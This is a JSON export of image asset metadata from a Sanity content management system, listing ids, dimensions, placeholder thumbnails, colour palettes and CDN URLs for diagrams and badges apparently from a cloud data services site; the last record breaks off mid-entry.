{"_createdAt":"2024-01-26T15:10:46Z","_id":"image-6a70eba9dd53418d034eb6f0dd9d99a2f873aaf6-1731x1155-png","_rev":"lhvtNBOlLYH5KiQFQ5tJ5X","_type":"sanity.imageAsset","_updatedAt":"2024-01-26T15:10:46Z","assetId":"6a70eba9dd53418d034eb6f0dd9d99a2f873aaf6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V#IYILs+ozM|t8~qi^axa#kCtma}axt5fjSjo#WCt7ax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4987012987012986,"height":1155,"width":1731},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAADJElEQVQokQEZA+b8AOHw+eLv9+Hm6d7e29/l5+Tw9ejy+ebv9ePt8eLu9uLw+eHw+d/v+Nnp89Xm8dfp9dbp99Hn9szl9cjj9ADo8PXh5ePY0MHQw7DIxb7FzNDN1Nvd2tTn3s7o6+no8vnn8/rY5OuuusKfrLXD0tvb6/XZ7PfV6fbS6PUA39vQzMCqtaCAsp17wLCPubKhpqamtKeYzraZ0czE3uPo6vH1xczRam91Ulddn6it3Ojt4vD33e322+31AL6vkL+pfrSccLmgcdi+gd7Lnr+0oaqaiJ2LeI2Li7K2vuHl6Ly+wVBSWDI2PImNkNrf4ebw9OPv9OPv9QCZimi5pnzLt4jQuoPfyIPs2Zzo2KnRwZyglYRrbnCCiY7BxcWtsLJNVl4rOUNzen/Q0tHr8O/o8PDn8PIAYVtJfHVflo1um5NonZVgtKpp1ch659WVzbyWlIpzfHtuio6JdX6BOEdTIDI/TFtko6mq1NbP293S29/RADhART5GSUtSUVJbUlNeTGVtQZGSRsa6eM68j6abeHl5aVRfYjpMWCc6SRwtOig5RVVjbISKh5mZhZyceQBcbHpLWmVJWGRUZXBSY2ZEVERLVyx3eEePi2l2eWVPWlYvP0spOkgzQ04uPUgnN0AsPEY6R0xJTkJITC4AjqGvc4SRboCMeo2aa3yEPElKJjUoPEcuVVxNVFxaNUFIHSs2JTI4P0pLPkxQNUFDKjY4JDE3Ljg4MDkwAJGks36RnniKl3qLmWZ2gz5NWDA/RjxLTEtXW0tVYDA7RxYiLBcjKSc0OSo5QSY0Oh8rMB0qMjE/SUBPWgBld4RZandTY3BQYG9KW2tDVWdFV2lOXnFTYnVEU2QmNEISHigQHCUUIy4WJzQWJjETISsYJTA8S1hhcoMASFppRVdnRVdoR1psSl9yTmN4Umh9WWyDWWqBPk5hHCo3DxokEBwmEiIuFCUyFSQwEh8pGyYwTFplgZKhAEldbkldb0tgc1BlelRqgFZthFhvhV1xiVhrgTdHWBYiLg4aIxEeKBIjLxUmMhcmMRMgKh0oMU5aZX6Nm55XiWLs8am6AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#293e52","foreground":"#fff","population":5.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#17476f","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#293e52","foreground":"#fff","population":5.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9c2cc","foreground":"#000","population":1.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8ce94","foreground":"#000","population":3.68,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b7082","foreground":"#fff","population":5.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0b34b","foreground":"#000","population":3.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image.png","path":"images/sczeoy4w/production/6a70eba9dd53418d034eb6f0dd9d99a2f873aaf6-1731x1155.png","sha1hash":"6a70eba9dd53418d034eb6f0dd9d99a2f873aaf6","size":2330929,"uploadId":"MFzg2Z5PY8AFOFp9rAT0nVWwqbCRvB1C","url":"https://cdn.sanity.io/images/sczeoy4w/production/6a70eba9dd53418d034eb6f0dd9d99a2f873aaf6-1731x1155.png"} {"_createdAt":"2024-10-03T08:27:44Z","_id":"image-8a67e4a33a79ca66c0c8861fe74af6c507cfd616-1188x887-png","_rev":"j8W1neSpXsNKao8GqHgitz","_type":"sanity.imageAsset","_updatedAt":"2024-10-03T08:27:44Z","assetId":"8a67e4a33a79ca66c0c8861fe74af6c507cfd616","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VAA+|Bxb0cE1$T0Joz]KROJYx{WrNExBwZ].RkTOxto#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3393461104847801,"height":887,"width":1188},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEJ0lEQVQ4jY3Qe0zbVRQH8IPFyEJMiCIOAh2/JqxgGb9SKOU110IpsEJ4lYelLaXQCpRSSsejDFpoGbSD4lr4tZuD4RbA4GbMHrJFBwZwGUgWJWYJaMgeYJQxFkzQbFN6TWGY+YfGk3xz/rn3c8+5AC+V2vgz1Jp+cXdPTccarcawml6gmKeSaTZfCk4EYjiBYbv9dQwnPDCcAHf+tTimGWAbp90hpXTNhnE7bvMSqm6EBNP63qDgRACGE2QMJ/wwnPDaw7D/Alnmq8DqugIxnVdIrO7x0Jiu8RRceckN+r6YzB/DCW8MJ175X2D1iXlQd94BVcc8qerEXGi54RY3o+zqQTLN7kfZnc4N7nMjFNzxAuz/J4JFEH9nrH0KPu34GkYMU6SPDZNhg7oveNqSSwfJ4TbfEHp/IAXvD8JwwgfDCZIborw05d4jQKP3AryJ4ECEE/RlJkDoIvx4tp5077yO8v3p5gR7XQf2VviAHznyTCBGdwRQcMKHGml/tbmoGorTm4ERYwXyIQcA3IMwhg2ASrcBn9kIwxwGACCoylPD5Qm9x3Wn5O1TzUpGOtfEjosw58dFWArDDp1KxPB+cnCEY5/7bGK8GQCWYPB9IaSxTUCN7Ntdmx+UDigDwDNszJOBd/nQIy2h4dG2rNAYR2s0yzaWm9A5mxVnnqVH2UeDcUdTCN3OpzN7qYwYqw+QR0jIFgw8unjvF9/xiKPVe2cyG4KLYms4JbEV1YUs1YdJ0fqZKGbvw8Nsx1ZhpmM7n+/cjj/i3GLEfvAg+d0T00Vpx09L+LqqgtRWNj/JeIAVpfcGoHpAPHf4SEqsUSpmKayahKIberbgBz2nYFN9WPqnOFGNhDwDkuWdRKX5Pei9zE4k4h9HaoH2D71ItdkiVC7V5taMi9Kburmcbkl8ymgiZBd/OZjNP3urJEm3pmVLnxuTBcjKy0R9qTyXk5/kGhIku0Ykqa4R2VHXkDTD5SzJddllYlePTIHaxdVIU1D/XJJjXsvOvTCTLbp5BuSahUap4qtzUuHYXFmO/afKo/rfG9MU287sVDQpDkXL1ftdT3QBrg2dv2tZHeCalOOIkAhQg7Bxu0LY85tMNLhaUvrZbWnF9IC8bkELhp51v3rTSriyaTFHrprTS2XXL8qLh77Ti5ofnS/NezZdxURLWipaqqOiqUom+kgmeNoq0T+SS4e/lSpufiJXz7comxaz6k0rNIN13Q9Mtk1ACIF98KlXS/dj/1rDA6ayYUGsUk+cPFY5Mt5Wbl7qLdNsWMs0G23llkVt5ejnKvWERdmwUFyrvx/d0v14f9+5Z6+5jQ7bJsCx9vtATxjYQZvnEDy8PO9h7vvVq8m8EaRtX+HV6O62K+vmxpV131yr0d01aI2r3CbLk0CLc8tr/c4ytF1DO3eZnAs71l8mwMTY4SdApQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#633c5c","foreground":"#fff","population":1.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a2f94","foreground":"#fff","population":0.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f77508","foreground":"#fff","population":4.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ad7c8a","foreground":"#fff","population":0.54,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#868fe8","foreground":"#000","population":2.58,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6864b1","foreground":"#fff","population":0.99,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f77508","foreground":"#fff","population":4.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-marketecture-for-store-with-services.png","path":"images/sczeoy4w/production/8a67e4a33a79ca66c0c8861fe74af6c507cfd616-1188x887.png","sha1hash":"8a67e4a33a79ca66c0c8861fe74af6c507cfd616","size":176348,"uploadId":"uIPrAFM5oP0X1weUCr4uUNePLkQYU2Pc","url":"https://cdn.sanity.io/images/sczeoy4w/production/8a67e4a33a79ca66c0c8861fe74af6c507cfd616-1188x887.png"} {"_createdAt":"2024-03-19T15:07:08Z","_id":"image-96beb39ee1bef79cb67e71ac6f9e6d4c7e7e3b3e-721x721-png","_rev":"PjhTiFLESFHgz5EjC9DMRj","_type":"sanity.imageAsset","_updatedAt":"2024-03-19T15:07:08Z","assetId":"96beb39ee1bef79cb67e71ac6f9e6d4c7e7e3b3e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e4R3QP?a00?c00~qoJNaWZIA00oe00IU00IUa#x]j=jF00WC00V??b","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":721,"width":721},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABYlAAAWJQFJUiTwAAADDklEQVQ4jWWVTXLTQBCFw4YDwCFgyRESTkOuEeAmLMMBWABVbKAofuL8K7KT2AHZSSyNfi0rGr1HvZGUOEFVY2k03d+86W6110iurYxHJJ6QWAe5ReAjyT8kSw2Qf9C+2wK4DvBJ63PHWIU9JvmM5CuA2wCOQRpYWzVl2WigaSqShoBHYLu1hXweA7gHFOwFyTcEdgDkJAFYIgm49H4w8nymSUkLtktADnDH+bS+YqytAZDkZ93CCYAa6LxsgSr4guD7O/z8+htH4xLljRYdUL+1fDpfMR5JneLwiqSU1Z2xiIDNkcy/Yc/7gM97E+xfWJTVLdAxSQoqpZtiCbhBupjpmLemcmuaGtniGpMo4Nl1xjCzsNYB75B0PvJVTDcE3CLp9SzdZaR7XVumWc7IxIyTlItFyaZpuGqjq5uL8VrAT8rc3WaAtRY3NzesqoppmtEYwzhOmBcFrbUyWlWIbm7EEvAvgKoHChZGEcaTCwbTGS+vrji7vOR0NmMwnbq5MTHLcnkPSFIl9VfAJcmmB9Z1jSCYcu/gsB37B27sHxxyZ7DLXzsDeie+gzZNs6pQjKXK5h5QCudhyNHojMPhKU/8oQMMR+3z0bHH8/GEWZbzgcJG4v47snadhxEODo+cqmPPp3cyvAULqHDkRfEwhlV/5P+SEicJfH/Ewe6+O65Anue7DX4Pdnl6ds6iWDyMoQHgkvIagNcvSuFyuWSaZYgiwzCMGMexi9n1POTV1TWTJHVV8CDTXl82G2g/9Fxry6qCMbGD6R6GEebzkJExjCLj5iojQauq6tXp/O/7wn4KYLP79OyiLDGbXWIyucD5+Rj+cITT0zNlHsF0pnLCeDzBdDpDsXDHtiQHHeOp64EAnpN8C8CvrbXFYuGObOJY6pxiJaEoCqRpCqnL84J1XVv5dL5iuObg2hcAtaC33W5tCgH3qXVZXB26ZDPoYC8AuJ7ogF1z1AvtIumKh4Ksz0nloBrTaBtsuyabTfn0sNsG20/UGwEopkrUGwCfAQRdnWroWe+09rKzdX8BPfAf4nW/+LYbZG0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4444","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cb611","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f3bd12","foreground":"#000","population":0.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcacac","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#78b4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a468a0","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3bd12","foreground":"#000","population":0.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"badge-google-cloud-premier-partner.png","path":"images/sczeoy4w/production/96beb39ee1bef79cb67e71ac6f9e6d4c7e7e3b3e-721x721.png","sha1hash":"96beb39ee1bef79cb67e71ac6f9e6d4c7e7e3b3e","size":26599,"uploadId":"YE7dymFaLBG4VhJrmhgjoALpP4SvprIx","url":"https://cdn.sanity.io/images/sczeoy4w/production/96beb39ee1bef79cb67e71ac6f9e6d4c7e7e3b3e-721x721.png"} {"_createdAt":"2024-01-10T11:27:17Z","_id":"image-f499b31e6cab61f97ec2772ca6ba80ed2e419961-1567x844-png","_rev":"BPcLfKU310hDl60jaPlfcS","_type":"sanity.imageAsset","_updatedAt":"2024-01-10T11:27:17Z","assetId":"f499b31e6cab61f97ec2772ca6ba80ed2e419961","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB7BNmxpMvt7WE_4t6M_ogWXf4ogaxjboc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACaElEQVQokS2Re0/aUADF+wUGpY/bx23vLbRQN6xREKOicc5F5ovwKEIR5FWtgOKGQRZREhMfuDiXLWYuRrN91I1tyfn3l1/OOQQlmgDlAMoDXAS4zHttyd9E+iHS22jkWHl1ohp9//i5zziB/hbAeyxyaFgmecvNmQTWt8OzB/NLnbmlbmS+E44ezyz2F2IXiyuD5fhdLPH1XfJ+Nf3wZu1uNNIVfLssclhUp6WqRywQAaMW2+htFq7NrUHcvFpJXK4kB2vp25T1reQ8l5xfufKzVflpFh4WYufj052xqVN9/EzU2kA5GMLLaydp6zKVu0psDuKZm/X0zfLGYDX5OVv6ka8+pfKPCesxnf+ezH2JZ+7WzfvZt7fe4BkM9AlByfuNWjBUD4abo5OHRuRobOo4ONkdjfRC0fPpxeup159C0UF47iIy3w9FexMzPX2iA/1tUftIuLk0yZskv0mJFi0VGbkK8C6nNHhfS9Dast5FL08lvSdqR5y3zsgVWtqmYJGWqgA3CBdIvWBTLmC6uaxHKFCwQss7DKoDvA+8h5zvSNC6gtYFSouSqqRQoMQSBYdhkUO4uRQ5lGc8gkWJRUqqMPIOO4SbLG4Apcn53vO+NlCaFCx5hC1G3mXxcG1aqhEcn8SyidUiVMuMXKLgf5jFDVq2KVim5RqL9hh5xyMUSMEaXoXrFNwm+RzhlZKGljXGbL/hCN4qg/51bnLefRbZFCzQUpFFNiNXSd4i+exfZ8XNZ10gRSAl51Pzql5WRmqSZkO/IweaSG/hkQ9y4EBUbVG1odYAuEbyWTeX8QhbpGC5OPMP/Bu4xaHNma32dgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e456e","foreground":"#fff","population":0.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041470","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8dce9","foreground":"#000","population":6.47,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8dce9","foreground":"#000","population":6.47,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7275be","foreground":"#fff","population":0.42,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f93","foreground":"#fff","population":1.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#272e91","foreground":"#fff","population":2.51,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"query-postgresql-db-with-graphql.png","path":"images/sczeoy4w/production/f499b31e6cab61f97ec2772ca6ba80ed2e419961-1567x844.png","sha1hash":"f499b31e6cab61f97ec2772ca6ba80ed2e419961","size":121007,"uploadId":"uK8427vUUUfdyZHzoxuAzXeDZplZJRqG","url":"https://cdn.sanity.io/images/sczeoy4w/production/f499b31e6cab61f97ec2772ca6ba80ed2e419961-1567x844.png"} {"_createdAt":"2024-01-10T12:15:33Z","_id":"image-199207758c6aac66419de70ce85f772bada810a9-1567x844-png","_rev":"6dJ6BJaqYWFMjn22tjJISg","_type":"sanity.imageAsset","_updatedAt":"2024-01-10T12:15:33Z","assetId":"199207758c6aac66419de70ce85f772bada810a9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA6a}exoaajZRk?wocR%WYRk%1WFWBofjX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACXUlEQVQokUXPa0/aUADG8X6BQVt62p6255xeQRjVZVnciDfkphNhAVFkwuSmaFFuigEWBOecmrmYLfvAm9uSJc/bX/55KFbaBigPUIHHRVGtQO1AMhzZaiFvF/v7amCoBce6PVUDQ+RrE19L9bcV85DHRQbuUNhbejHvhMK9ULi/EBkuRsdvwuNQeLoQ+xzZ+BpNPcZSP2Lpn+H1h6X4p8jbq0TqdmXt2p4/g1qZMoPVcOIik79O5a7TuZt3O/cbmbtY8nY5cRPdfIilHqOb31eTPxbj96HV8VJ8Gkk+LK9/s19fylaHMgKVlXg/vXW1lp4kUtNk9stG5i60OrXmLvTgwLA/6vZEtyfEP0DWKfZ1dPtSC07QzEjxXVICKRiBqn+u4bUb3lkn8LLz/NW5EexBo81rXUE/h+YQWiNBPwfY4dARICcAN3m1Bc0B5Ra2aCHHiDsMLLByiUNVnhzyxBG0lqh3odGXrJFkjUSjB/ARK5dZucRKJY9S4YlDufjsM5B18Tm3uMvAIqtUOHQA8DGvngpaW9TPoDmQzAGvtT1KjZGKrLz/dwA3KLeQpYUtWtx+Kkul/5g0AXF4tSnoHVHv8WqTlfcZuMehQ0COPUrVo9QoQcwQlCNGSTbKHNpn5X8YEMeD6qxc9qAawEccOmBgkYYFgBuAHLPyB1rcpTQlY5t5e7Zu2Q2oVTn89FlQm4J2AnCdlYsepQRwnUNVWizQYv5Ps+IW8y4+S2F1VzfeG76yOlNTzLpsNZC3iX0tMtNF3lPJqEtGXTYdntRoMe8Wthm4R8OCS8j9xr8A8RWaZofZ4akAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e446b","foreground":"#fff","population":0.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04186e","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d9dbe8","foreground":"#000","population":4.91,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9dbe8","foreground":"#000","population":4.91,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#797bc0","foreground":"#fff","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676f90","foreground":"#fff","population":0.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#232d90","foreground":"#fff","population":2.65,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"connect-kafka-with-franz.png","path":"images/sczeoy4w/production/199207758c6aac66419de70ce85f772bada810a9-1567x844.png","sha1hash":"199207758c6aac66419de70ce85f772bada810a9","size":105196,"uploadId":"T0L9kZmpVhC6RIbIAiz22HXy683E5Owx","url":"https://cdn.sanity.io/images/sczeoy4w/production/199207758c6aac66419de70ce85f772bada810a9-1567x844.png"} {"_createdAt":"2024-08-07T18:13:45Z","_id":"image-e4a987ffea9575985a4bb96df615814f55866b0b-1508x694-png","_rev":"BVM0UzymoPXcfHGeYdJJOf","_type":"sanity.imageAsset","_updatedAt":"2024-08-07T18:13:45Z","assetId":"e4a987ffea9575985a4bb96df615814f55866b0b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M06*t-v01300xa01M^tS-;%N00I:#P^5%h","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1729106628242074,"height":694,"width":1508},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAACToAAAk6AGCYwUcAAACNUlEQVQokSWSa0/aAABF+yeWbXEqIi3QFy19VwoVJTrNtmT7um9bssXHHIQMEa3iA4Gp+I782rPA/sC59+Re4XXqG5K+R95s8C6zzau5n7xObTOfa5A12sjWIbKdoLpdVPcUsXDCbC5hRkqYy5+iOEOcyh2KNyKl/UV4m/7OorKLpP1mVtzmTWqLmcwei3ITdQI0OmQKHSQjIWueIBa6LKhd5vJdFpQzZGeIsTSaAtOFKwRR20G1G2hOk5zRYFGtk1abaIUWK8ERvn1IWmkjmgm6f4HqXpC3euTtSzRviF0e4VXvsSsPqP4tQjFsEi53WKoe4UYddLdNztzHsNqsl48p+QkLcgvJTHArfczwEtW7xC5fE67cEb9/YvXDmHhjjBM/Iah2HSts4ZTaFLwWWaM5BVpBQnW1R1A+QzIOyVnH2OU+RthHcS/R/CFWNIHeE609E9aeMaMHBEnfRSnWUe3/ymmljlho4UenfP40YmV1QK6YoDhdrKhPsTRA8wfIdh/NG2BFN7jxPVb5AS24QzCDJkF8MFV2Sgdozv60YRh1+frlnrXagIx2gGgcoXvnaF4PPZiArgmqt8QbT9Q+jok3xzjLTwi628CN2viVDsWgjWL9QbbaOEsn1NYHhPHFVDlbnIxyju730P0BZukKLx5RXnukuvlCtP6CVXlEmBV/kMptkc7vMp/dYVb6hVRoYQTH2NEZ5tLp9IN6cI4dTZoNUb0+ojEJ6iHbA1T3Ctm9QbJu+AeWkFS5fCO1DgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434a86","foreground":"#fff","population":1.94,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c6d","foreground":"#fff","population":0.32,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2884","foreground":"#fff","population":7.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7780c4","foreground":"#fff","population":4.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b2acdf","foreground":"#000","population":5.46,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676ea5","foreground":"#fff","population":5.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2884","foreground":"#fff","population":7.95,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event-driven architecture.PNG","path":"images/sczeoy4w/production/e4a987ffea9575985a4bb96df615814f55866b0b-1508x694.png","sha1hash":"e4a987ffea9575985a4bb96df615814f55866b0b","size":142815,"uploadId":"ezery23GKlhVdm678XDGHNBxK4G6mZbk","url":"https://cdn.sanity.io/images/sczeoy4w/production/e4a987ffea9575985a4bb96df615814f55866b0b-1508x694.png"} {"_createdAt":"2024-08-07T18:28:38Z","_id":"image-ea51a5ac321d4d57ed861341568b045277734637-1529x697-png","_rev":"BVM0UzymoPXcfHGeYdN3U5","_type":"sanity.imageAsset","_updatedAt":"2024-08-07T18:28:38Z","assetId":"ea51a5ac321d4d57ed861341568b045277734637","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M06[Ie]c1Q00R500IS%O-;%N004,vy^P.9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.193687230989957,"height":697,"width":1529},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAACToAAAk6AGCYwUcAAACNklEQVQokT3RW1MScQCGcT5ENTkNShxkWXbZ/S97XpYFPI0X1XTXZTNd5FgpjIUGC4goclBR1L7u01hNX+A3zztv4lnyIylpn7zWJJn7wvPVPV6s7ZNcb5IrHSOJLpIRI5sDitaQnHZKUurxar1PUhqSNyaIYIFs3bCmzEi8fP2JnPoNpXxEWj5gJb3PSvorKalFXm0jaT/JljrktJh1fUC2NCBVHLBaOCWtjFCdOVZtiebfkRXXJFbzn5GNFsI9RjaOyBSbpAot8sp3AquDY3bJFE/IlLoUzSGyOSJvjMiLC2Rzgu5fY9eXiModBWtBIqd+wQyO8esxVqVDyT4hr7dR9DZbQY/I7ZGRj8loMeVwjAguUZwxmjdDBFeY1RvcxpJydI/q3ZGQjUP8epdo+xS/0ceJ+piVPmbQp75xQVg7RzJ6SOUBdjTFDKcozhM6wahc4W8sCXce8TZ/IcJ7EsXyIV6tQ7jZx6v18OsDvMYZfm3E2zfX7OxeoVinFO0hVnWKWZ1RcidI5TEld4ZbvyXYesBpPKIHSxIFcYD7BxzgRjFWGKO5XexgwIf3C97tXiFpXbJajGI/nXCB6lyiulN0f44dLfA27rFq/yZnlX2E9wOn2kG4JxTLbSTRRrgxW9sTosYYScTk9BjFOkO1Lyi5l2jeFM2bUw5vsGtLjHCJ4t6SSEl7yEYT3WkjiyOySusv6Pexq2eY4QjNHyIq5zj1KU59jh5MKZhjVGeKFS3wNx/+F/4GFKVUvqQR24AAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434c83","foreground":"#fff","population":2.74,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04206a","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#aeabdd","foreground":"#000","population":6.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7981c3","foreground":"#fff","population":2.77,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aeabdd","foreground":"#000","population":6.72,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676fa6","foreground":"#fff","population":4.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f2b8d","foreground":"#fff","population":6.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event-driven architecture.PNG","path":"images/sczeoy4w/production/ea51a5ac321d4d57ed861341568b045277734637-1529x697.png","sha1hash":"ea51a5ac321d4d57ed861341568b045277734637","size":143541,"uploadId":"yQKJvnbDTz4bARphgrHK00ltp3XHf4YI","url":"https://cdn.sanity.io/images/sczeoy4w/production/ea51a5ac321d4d57ed861341568b045277734637-1529x697.png"} {"_createdAt":"2024-08-08T16:28:04Z","_id":"image-48edb96b438f10260e58f7d7a893007c1a75ef70-1538x656-png","_rev":"msvVOwV0ly404Y5JqBPyul","_type":"sanity.imageAsset","_updatedAt":"2024-08-08T16:28:04Z","assetId":"48edb96b438f10260e58f7d7a893007c1a75ef70","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M15#*;9D0J?F^k?KWAE1oI-o00ac-qNLOF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3445121951219514,"height":656,"width":1538},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAACToAAAk6AGCYwUcAAAB5UlEQVQokU3SS28SYRSA4f6JNrXlMsPwDcz9G5iB4aLGmOhCjYkrl9aFtTeotNgEmhamA6WUARN/8GugLro42yfnzTlb27lv5Eo/EU6Hot0lI07ZyR+zkz8hK35RkgOs8Aa7NsKp3+HUEnQZo7kxZjhDtlL89go7WqHJBVvbuQMyxUNU4xSlfEZGnLEvumRLPVTrN7oc4kVjXr19oP1mjlOboLljCnZMuXqP11wgWyvMcPkMFIcIp4tmdcmVuhTsPsIfUPQGaO6AoBnz9ctfPn/4gxMkFJwxRfcO3Z/iRI+4UYruP1Lw/oP50hFWpUfZ66EY5xScPnpliO5fo8trqs2YTx+XvHufIqMpdm2KGd5vQLs+x4lSxBp0H59ApXyEE15i+hcbUDEvEHKAEd5ghiPcaEzwMiFoT6m2Z4SvF8jmHCuc4TXWyUuMMH1K3skfoBjHuOElVuUS1Twnb/RQrD4F+wrhDbHCW2QzRjYTvGiKG81w6ut5wF8fpbXCqi8RfroGv6OUjzHXyfIpOaN3eaF12NPOUa2rDei3EvzWBCtMEF6MkAlG9R63scBrLDGCZxvuaT/IiiOy4oT94im76snmbXbVzgY0g1vc6A63McEMElR7RN4cUfQmWLU5dj1Fryw2R/kHTVQkJmqAgNAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414a8b","foreground":"#fff","population":2.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04247c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","